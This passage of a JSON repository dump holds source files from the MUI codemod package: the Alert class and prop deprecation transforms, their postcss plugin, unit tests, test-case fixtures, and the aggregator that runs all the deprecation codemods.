replacementSelector\n                    .replaceAll('MuiAlert-', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (precedingTemplateElement.value.raw.endsWith('&.')) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n                    parent.quasis.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.templateElement(\n                        {\n                          raw: precedingTemplateElement.value.raw,\n                          cooked: precedingTemplateElement.value.cooked,\n                        },\n                        false,\n                      ),\n                      j.templateElement({ raw: '.', cooked: '.' }, false),\n                    );\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^&${deprecatedClass}`);\n\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(j.literal(path.value.value.replace(selectorRegex, `&${replacementSelector}`)));\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/alert-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './alert-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('alert-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'single', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'single', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/index.js",
    "content": "export { default } from './alert-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/postcss-plugin.js",
    "content": "const variants = ['standard', 'outlined', 'filled'];\nconst colors = ['Success', 'Info', 'Warning', 'Error'];\n\nconst classes = variants.reduce((acc, variant) => {\n  return acc.concat(\n    colors.map((color) => {\n      const deprecatedClass = `.MuiAlert-${variant}${color}`;\n      const replacementSelector = `.MuiAlert-${variant}.MuiAlert-color${color}`;\n\n      return {\n        deprecatedClass,\n        replacementSelector,\n      };\n    }),\n  );\n}, []);\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Alert classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/actual.css",
    "content": ".MuiAlert-standardSuccess {\n  color: red;\n}\n\n.MuiAlert-standardInfo {\n  color: red;\n}\n\n.MuiAlert-standardWarning {\n  color: red;\n}\n\n.MuiAlert-standardError {\n  color: red;\n}\n\n.MuiAlert-outlinedSuccess {\n  color: red;\n}\n\n.MuiAlert-outlinedInfo {\n  color: red;\n}\n\n.MuiAlert-outlinedWarning {\n  color: red;\n}\n\n.MuiAlert-outlinedError {\n  color: red;\n}\n\n.MuiAlert-filledSuccess {\n  color: red;\n}\n\n.MuiAlert-filledInfo {\n  color: red;\n}\n\n.MuiAlert-filledWarning {\n  color: red;\n}\n\n.MuiAlert-filledError {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/actual.js",
    "content": "import { alertClasses } from '@mui/material/Alert';\n\n('&.MuiAlert-standardSuccess');\n('&.MuiAlert-standardInfo');\n('&.MuiAlert-standardWarning');\n('&.MuiAlert-standardError');\n('&.MuiAlert-outlinedSuccess');\n('&.MuiAlert-outlinedInfo');\n('&.MuiAlert-outlinedWarning');\n('&.MuiAlert-outlinedError');\n('&.MuiAlert-filledSuccess');\n('&.MuiAlert-filledInfo');\n('&.MuiAlert-filledWarning');\n('&.MuiAlert-filledError');\n`&.${alertClasses.standardSuccess}`;\n`&.${alertClasses.standardInfo}`;\n`&.${alertClasses.standardWarning}`;\n`&.${alertClasses.standardError}`;\n`&.${alertClasses.outlinedSuccess}`;\n`&.${alertClasses.outlinedInfo}`;\n`&.${alertClasses.outlinedWarning}`;\n`&.${alertClasses.outlinedError}`;\n`&.${alertClasses.filledSuccess}`;\n`&.${alertClasses.filledInfo}`;\n`&.${alertClasses.filledWarning}`;\n`&.${alertClasses.filledError}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/expected.css",
    "content": ".MuiAlert-standard.MuiAlert-colorSuccess {\n  color: red;\n}\n\n.MuiAlert-standard.MuiAlert-colorInfo {\n  color: red;\n}\n\n.MuiAlert-standard.MuiAlert-colorWarning {\n  color: red;\n}\n\n.MuiAlert-standard.MuiAlert-colorError {\n  color: red;\n}\n\n.MuiAlert-outlined.MuiAlert-colorSuccess {\n  color: red;\n}\n\n.MuiAlert-outlined.MuiAlert-colorInfo {\n  color: red;\n}\n\n.MuiAlert-outlined.MuiAlert-colorWarning {\n  color: red;\n}\n\n.MuiAlert-outlined.MuiAlert-colorError {\n  color: red;\n}\n\n.MuiAlert-filled.MuiAlert-colorSuccess {\n  color: red;\n}\n\n.MuiAlert-filled.MuiAlert-colorInfo {\n  color: red;\n}\n\n.MuiAlert-filled.MuiAlert-colorWarning {\n  color: red;\n}\n\n.MuiAlert-filled.MuiAlert-colorError {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/expected.js",
    "content": "import { alertClasses } from '@mui/material/Alert';\n\n('&.MuiAlert-standard.MuiAlert-colorSuccess');\n('&.MuiAlert-standard.MuiAlert-colorInfo');\n('&.MuiAlert-standard.MuiAlert-colorWarning');\n('&.MuiAlert-standard.MuiAlert-colorError');\n('&.MuiAlert-outlined.MuiAlert-colorSuccess');\n('&.MuiAlert-outlined.MuiAlert-colorInfo');\n('&.MuiAlert-outlined.MuiAlert-colorWarning');\n('&.MuiAlert-outlined.MuiAlert-colorError');\n('&.MuiAlert-filled.MuiAlert-colorSuccess');\n('&.MuiAlert-filled.MuiAlert-colorInfo');\n('&.MuiAlert-filled.MuiAlert-colorWarning');\n('&.MuiAlert-filled.MuiAlert-colorError');\n`&.${alertClasses.standard}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.standard}.${alertClasses.colorInfo}`;\n`&.${alertClasses.standard}.${alertClasses.colorWarning}`;\n`&.${alertClasses.standard}.${alertClasses.colorError}`;\n`&.${alertClasses.outlined}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.outlined}.${alertClasses.colorInfo}`;\n`&.${alertClasses.outlined}.${alertClasses.colorWarning}`;\n`&.${alertClasses.outlined}.${alertClasses.colorError}`;\n`&.${alertClasses.filled}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.filled}.${alertClasses.colorInfo}`;\n`&.${alertClasses.filled}.${alertClasses.colorWarning}`;\n`&.${alertClasses.filled}.${alertClasses.colorError}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/package.actual.js",
    "content": "import { alertClasses } from '@org/ui/material/Alert';\n\n('&.MuiAlert-standardSuccess');\n('&.MuiAlert-standardInfo');\n('&.MuiAlert-standardWarning');\n('&.MuiAlert-standardError');\n('&.MuiAlert-outlinedSuccess');\n('&.MuiAlert-outlinedInfo');\n('&.MuiAlert-outlinedWarning');\n('&.MuiAlert-outlinedError');\n('&.MuiAlert-filledSuccess');\n('&.MuiAlert-filledInfo');\n('&.MuiAlert-filledWarning');\n('&.MuiAlert-filledError');\n`&.${alertClasses.standardSuccess}`;\n`&.${alertClasses.standardInfo}`;\n`&.${alertClasses.standardWarning}`;\n`&.${alertClasses.standardError}`;\n`&.${alertClasses.outlinedSuccess}`;\n`&.${alertClasses.outlinedInfo}`;\n`&.${alertClasses.outlinedWarning}`;\n`&.${alertClasses.outlinedError}`;\n`&.${alertClasses.filledSuccess}`;\n`&.${alertClasses.filledInfo}`;\n`&.${alertClasses.filledWarning}`;\n`&.${alertClasses.filledError}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-classes/test-cases/package.expected.js",
    "content": "import { alertClasses } from '@org/ui/material/Alert';\n\n('&.MuiAlert-standard.MuiAlert-colorSuccess');\n('&.MuiAlert-standard.MuiAlert-colorInfo');\n('&.MuiAlert-standard.MuiAlert-colorWarning');\n('&.MuiAlert-standard.MuiAlert-colorError');\n('&.MuiAlert-outlined.MuiAlert-colorSuccess');\n('&.MuiAlert-outlined.MuiAlert-colorInfo');\n('&.MuiAlert-outlined.MuiAlert-colorWarning');\n('&.MuiAlert-outlined.MuiAlert-colorError');\n('&.MuiAlert-filled.MuiAlert-colorSuccess');\n('&.MuiAlert-filled.MuiAlert-colorInfo');\n('&.MuiAlert-filled.MuiAlert-colorWarning');\n('&.MuiAlert-filled.MuiAlert-colorError');\n`&.${alertClasses.standard}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.standard}.${alertClasses.colorInfo}`;\n`&.${alertClasses.standard}.${alertClasses.colorWarning}`;\n`&.${alertClasses.standard}.${alertClasses.colorError}`;\n`&.${alertClasses.outlined}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.outlined}.${alertClasses.colorInfo}`;\n`&.${alertClasses.outlined}.${alertClasses.colorWarning}`;\n`&.${alertClasses.outlined}.${alertClasses.colorError}`;\n`&.${alertClasses.filled}.${alertClasses.colorSuccess}`;\n`&.${alertClasses.filled}.${alertClasses.colorInfo}`;\n`&.${alertClasses.filled}.${alertClasses.colorWarning}`;\n`&.${alertClasses.filled}.${alertClasses.colorError}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/alert-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, { root, packageName: options.packageName, componentName: 'Alert' });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/alert-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './alert-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('alert-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] alert-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] alert-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/index.js",
    "content": "export { default } from './alert-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/actual.js",
    "content": "import Alert from '@mui/material/Alert';\n\n<Alert\n  components={{ CloseButton: ComponentsButton }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: slotsButtonProps }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: slotsButtonProps }}\n  componentsProps={{ closeButton: componentsButtonProps, closeIcon: componentsIconProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/expected.js",
    "content": "import Alert from '@mui/material/Alert';\n\n<Alert\n  slots={{\n    closeButton: ComponentsButton\n  }}\n  slotProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{\n    closeIcon: SlotsIcon,\n    closeButton: ComponentsButton\n  }}\n  slotProps={{\n    closeIcon: slotsIconProps,\n    closeButton: componentsButtonProps\n  }} />;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: {\n    ...componentsButtonProps,\n    ...slotsButtonProps\n  } }} />;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  slotProps={{ closeButton: {\n    ...componentsButtonProps,\n    ...slotsButtonProps\n  }, closeIcon: {\n    ...componentsIconProps,\n    ...slotsIconProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/package.actual.js",
    "content": "import Alert from '@org/ui/material/Alert';\n\n<Alert\n  components={{ CloseButton: ComponentsButton }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: slotsButtonProps }}\n  componentsProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  components={{ CloseButton: ComponentsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: slotsButtonProps }}\n  componentsProps={{ closeButton: componentsButtonProps, closeIcon: componentsIconProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/package.expected.js",
    "content": "import Alert from '@org/ui/material/Alert';\n\n<Alert\n  slots={{\n    closeButton: ComponentsButton\n  }}\n  slotProps={{ closeButton: componentsButtonProps }}\n/>;\n<Alert\n  slots={{\n    closeIcon: SlotsIcon,\n    closeButton: ComponentsButton\n  }}\n  slotProps={{\n    closeIcon: slotsIconProps,\n    closeButton: componentsButtonProps\n  }} />;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  slotProps={{ closeIcon: slotsIconProps, closeButton: {\n    ...componentsButtonProps,\n    ...slotsButtonProps\n  } }} />;\n<Alert\n  slots={{ closeIcon: SlotsIcon, closeButton: SlotsButton }}\n  slotProps={{ closeButton: {\n    ...componentsButtonProps,\n    ...slotsButtonProps\n  }, closeIcon: {\n    ...componentsIconProps,\n    ...slotsIconProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiAlert: {\n    defaultProps: {\n      components: { CloseButton: ComponentsButton },\n      componentsProps: { closeButton: componentsButtonProps },\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      components: { CloseButton: ComponentsButton },\n      slots: { closeIcon: SlotsIcon },\n      componentsProps: { closeButton: componentsButtonProps },\n      slotProps: { closeIcon: slotsIconProps },\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      components: { CloseButton: ComponentsButton },\n      slots: { closeIcon: SlotsIcon, closeButton: SlotsButton },\n      componentsProps: { closeButton: componentsButtonProps },\n      slotProps: { closeIcon: slotsIconProps, closeButton: slotsButtonProps },\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      components: { CloseButton: ComponentsButton },\n      slots: { closeIcon: SlotsIcon, closeButton: SlotsButton },\n      componentsProps: { closeButton: componentsButtonProps, closeIcon: componentsIconProps },\n      slotProps: { closeIcon: slotsIconProps, closeButton: slotsButtonProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/alert-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiAlert: {\n    defaultProps: {\n      slots: {\n        closeButton: ComponentsButton\n      },\n\n      slotProps: {\n        closeButton: componentsButtonProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      slots: {\n        closeButton: ComponentsButton,\n        closeIcon: SlotsIcon\n      },\n\n      slotProps: {\n        closeButton: componentsButtonProps,\n        closeIcon: slotsIconProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      slots: {\n        closeButton: SlotsButton,\n        closeIcon: SlotsIcon\n      },\n\n      slotProps: {\n        closeButton: {\n          ...componentsButtonProps,\n          ...slotsButtonProps\n        },\n\n        closeIcon: slotsIconProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiAlert: {\n    defaultProps: {\n      slots: {\n        closeButton: SlotsButton,\n        closeIcon: SlotsIcon\n      },\n\n      slotProps: {\n        closeButton: {\n          ...componentsButtonProps,\n          ...slotsButtonProps\n        },\n\n        closeIcon: {\n          ...componentsIconProps,\n          ...slotsIconProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/all/deprecations-all.js",
    "content": "import transformAccordionClasses from '../accordion-summary-classes';\nimport transformAccordionProps from '../accordion-props';\nimport transformAlertClasses from '../alert-classes';\nimport transformAlertProps from '../alert-props';\nimport transformAvatarGroupProps from '../avatar-group-props';\nimport transformAutocompleteProps from '../autocomplete-props';\nimport transformAvatarProps from '../avatar-props';\nimport transformBackdropProps from '../backdrop-props';\nimport transformCheckboxProps from '../checkbox-props';\nimport transformButtonClasses from '../button-classes';\nimport transformButtonGroupClasses from '../button-group-classes';\nimport transformChipClasses from '../chip-classes';\nimport transformCircularProgressClasses from '../circular-progress-classes';\nimport transformDividerProps from '../divider-props';\nimport transformDrawerClasses from '../drawer-classes';\nimport transformDialogClasses from '../dialog-classes';\nimport transformDialogProps from '../dialog-props';\nimport transformFilledInputProps from '../filled-input-props';\nimport transformFormControlLabelProps from '../form-control-label-props';\nimport transformImageListItemBarClasses from '../image-list-item-bar-classes';\nimport transformInputBaseProps from '../input-base-props';\nimport transformInputBaseClasses from '../input-base-classes';\nimport transformInputProps from '../input-props';\nimport transformListItemTextProps from '../list-item-text-props';\nimport transformLinearProgressClasses from '../linear-progress-classes';\nimport transformModalProps from '../modal-props';\nimport transformOutlinedInputProps from '../outlined-input-props';\nimport transformPaginationItemProps from '../pagination-item-props';\nimport transformRadioProps from '../radio-props';\nimport transformPaginationItemClasses from '../pagination-item-classes';\nimport transformPopperProps from '../popper-props';\nimport transformSpeedDialProps from '../speed-dial-props';\nimport transformTableSortLabelClasses from '../table-sort-label-classes';\nimport transformSelectClasses from '../select-classes';\nimport transformStepConnectorClasses from '../step-connector-classes';\nimport transformSwitchProps from '../switch-props';\nimport transformStepContentProps from '../step-content-props';\nimport transformStepLabelProps from '../step-label-props';\nimport transformTextFieldProps from '../text-field-props';\nimport transformTabClasses from '../tab-classes';\nimport transformToggleButtonGroupClasses from '../toggle-button-group-classes';\nimport transformTooltipProps from '../tooltip-props';\nimport transformTablePaginationProps from '../table-pagination-props';\nimport transformCardHeaderProps from '../card-header-props';\nimport transformPopoverProps from '../popover-props';\nimport transformSnackbarProps from '../snackbar-props';\nimport transformSliderProps from '../slider-props';\nimport transformSliderClasses from '../slider-classes';\nimport transformerTabsProps from '../tabs-props';\nimport transformerTabsClasses from '../tabs-classes';\nimport transformDrawerProps from '../drawer-props';\nimport transformMobileStepperProps from '../mobile-stepper-props';\nimport transformMenuProps from '../menu-props';\nimport transformRatingProps from '../rating-props';\nimport transformTypographyProps from '../typography-props';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function deprecationsAll(file, api, options) {\n  file.source = transformAccordionClasses(file, api, options);\n  file.source = transformAccordionProps(file, api, options);\n  file.source = transformAlertClasses(file, api, options);\n  file.source = transformAlertProps(file, api, options);\n  file.source = transformAvatarGroupProps(file, api, options);\n  file.source = transformAutocompleteProps(file, api, options);\n  file.source = transformAvatarProps(file, api, options);\n  file.source = transformBackdropProps(file, api, options);\n  file.source = transformCheckboxProps(file, api, options);\n  file.source = transformButtonClasses(file, api, options);\n  file.source = transformButtonGroupClasses(file, api, options);\n  file.source = transformChipClasses(file, api, options);\n  file.source = transformCircularProgressClasses(file, api, options);\n  file.source = transformDividerProps(file, api, options);\n  file.source = transformDrawerClasses(file, api, options);\n  file.source = transformDialogClasses(file, api, options);\n  file.source = transformDialogProps(file, api, options);\n  file.source = transformFilledInputProps(file, api, options);\n  file.source = transformFormControlLabelProps(file, api, options);\n  file.source = transformImageListItemBarClasses(file, api, options);\n  file.source = transformInputBaseProps(file, api, options);\n  file.source = transformInputBaseClasses(file, api, options);\n  file.source = transformInputProps(file, api, options);\n  file.source = transformListItemTextProps(file, api, options);\n  file.source = transformLinearProgressClasses(file, api, options);\n  file.source = transformModalProps(file, api, options);\n  file.source = transformOutlinedInputProps(file, api, options);\n  file.source = transformPaginationItemClasses(file, api, options);\n  file.source = transformPaginationItemProps(file, api, options);\n  file.source = transformRadioProps(file, api, options);\n  file.source = transformPopperProps(file, api, options);\n  file.source = transformSpeedDialProps(file, api, options);\n  file.source = transformSwitchProps(file, api, options);\n  file.source = transformStepConnectorClasses(file, api, options);\n  file.source = transformStepContentProps(file, api, options);\n  file.source = transformStepLabelProps(file, api, options);\n  file.source = transformTableSortLabelClasses(file, api, options);\n  file.source = transformTextFieldProps(file, api, options);\n  file.source = transformSelectClasses(file, api, options);\n  file.source = transformTabClasses(file, api, options);\n  file.source = transformToggleButtonGroupClasses(file, api, options);\n  file.source = transformTooltipProps(file, api, options);\n  file.source = transformTablePaginationProps(file, api, options);\n  file.source = transformCardHeaderProps(file, api, options);\n  file.source = transformPopoverProps(file, api, options);\n  file.source = transformSnackbarProps(file, api, options);\n  file.source = transformSliderProps(file, api, options);\n  file.source = transformSliderClasses(file, api, options);\n  file.source = transformerTabsProps(file, api, options);\n  file.source = transformerTabsClasses(file, api, options);\n  file.source = transformDrawerProps(file, api, options);\n  file.source = transformMobileStepperProps(file, api, options);\n  file.source = transformMenuProps(file, api, options);\n  file.source = transformRatingProps(file, api, options);\n  file.source = transformTypographyProps(file, api, options);\n\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/all/index.js",
    "content": "export { default } from './deprecations-all';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/all/postcss.config.js",
    "content": "const {\n  plugin: accordionSummaryClassesPlugin,\n} = require('../accordion-summary-classes/postcss-plugin');\nconst { plugin: alertClassesPlugin } = require('../alert-classes/postcss-plugin');\nconst { plugin: buttonClassesPlugin } = require('../button-classes/postcss-plugin');\nconst { plugin: buttonGroupClassesPlugin } = require('../button-group-classes/postcss-plugin');\nconst { plugin: chipClassesPlugin } = require('../chip-classes/postcss-plugin');\nconst { plugin: drawerClassesPlugin } = require('../drawer-classes/postcss-plugin');\nconst {\n  plugin: paginationItemClassesPlugin,\n} = require('../pagination-item-classes/postcss-plugin');\nconst { plugin: stepConnectorClassesPlugin } = require('../step-connector-classes/postcss-plugin');\nconst {\n  plugin: toggleButtonGroupClassesPlugin,\n} = require('../toggle-button-group-classes/postcss-plugin');\nconst {\n  plugin: circularProgressClassesPlugin,\n} = require('../circular-progress-classes/postcss-plugin');\nconst { plugin: inputBaseClassesPlugin } = require('../input-base-classes/postcss-plugin');\nconst {\n  plugin: linearProgressClassesPlugin,\n} = require('../linear-progress-classes/postcss-plugin');\nconst { plugin: tabClassesPlugin } = require('../tab-classes/postcss-plugin');\nconst {\n  plugin: tableSortLabelClassesPlugin,\n} = require('../table-sort-label-classes/postcss-plugin');\nconst { plugin: selectClassesPlugin } = require('../select-classes/postcss-plugin');\nconst { plugin: sliderClassesPlugin } = require('../slider-classes/postcss-plugin');\n\nmodule.exports = {\n  plugins: [\n    accordionSummaryClassesPlugin,\n    alertClassesPlugin,\n    buttonClassesPlugin,\n    buttonGroupClassesPlugin,\n    chipClassesPlugin,\n    circularProgressClassesPlugin,\n    inputBaseClassesPlugin,\n    linearProgressClassesPlugin,\n    drawerClassesPlugin,\n    paginationItemClassesPlugin,\n    stepConnectorClassesPlugin,\n    toggleButtonGroupClassesPlugin,\n    tabClassesPlugin,\n    tableSortLabelClassesPlugin,\n    selectClassesPlugin,\n    sliderClassesPlugin,\n  ],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/autocomplete-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\nimport replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\nimport findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\nimport assignObject from '../../util/assignObject';\nimport appendAttribute from '../../util/appendAttribute';\n\nfunction getImportedNames(j, root, packageName, componentName) {\n  const importNames = new Set();\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) =>\n      path.node.source.value.match(new RegExp(`^${packageName}(/${componentName})?$`)),\n    )\n    .forEach((path) => {\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportDefaultSpecifier') {\n          importNames.add(specifier.local.name);\n        }\n        if (specifier.type === 'ImportSpecifier' && specifier.imported.name === componentName) {\n          importNames.add(specifier.local.name);\n        }\n      });\n    });\n\n  return importNames;\n}\n\nfunction getAttributeIndex(element, attributeName) {\n  return 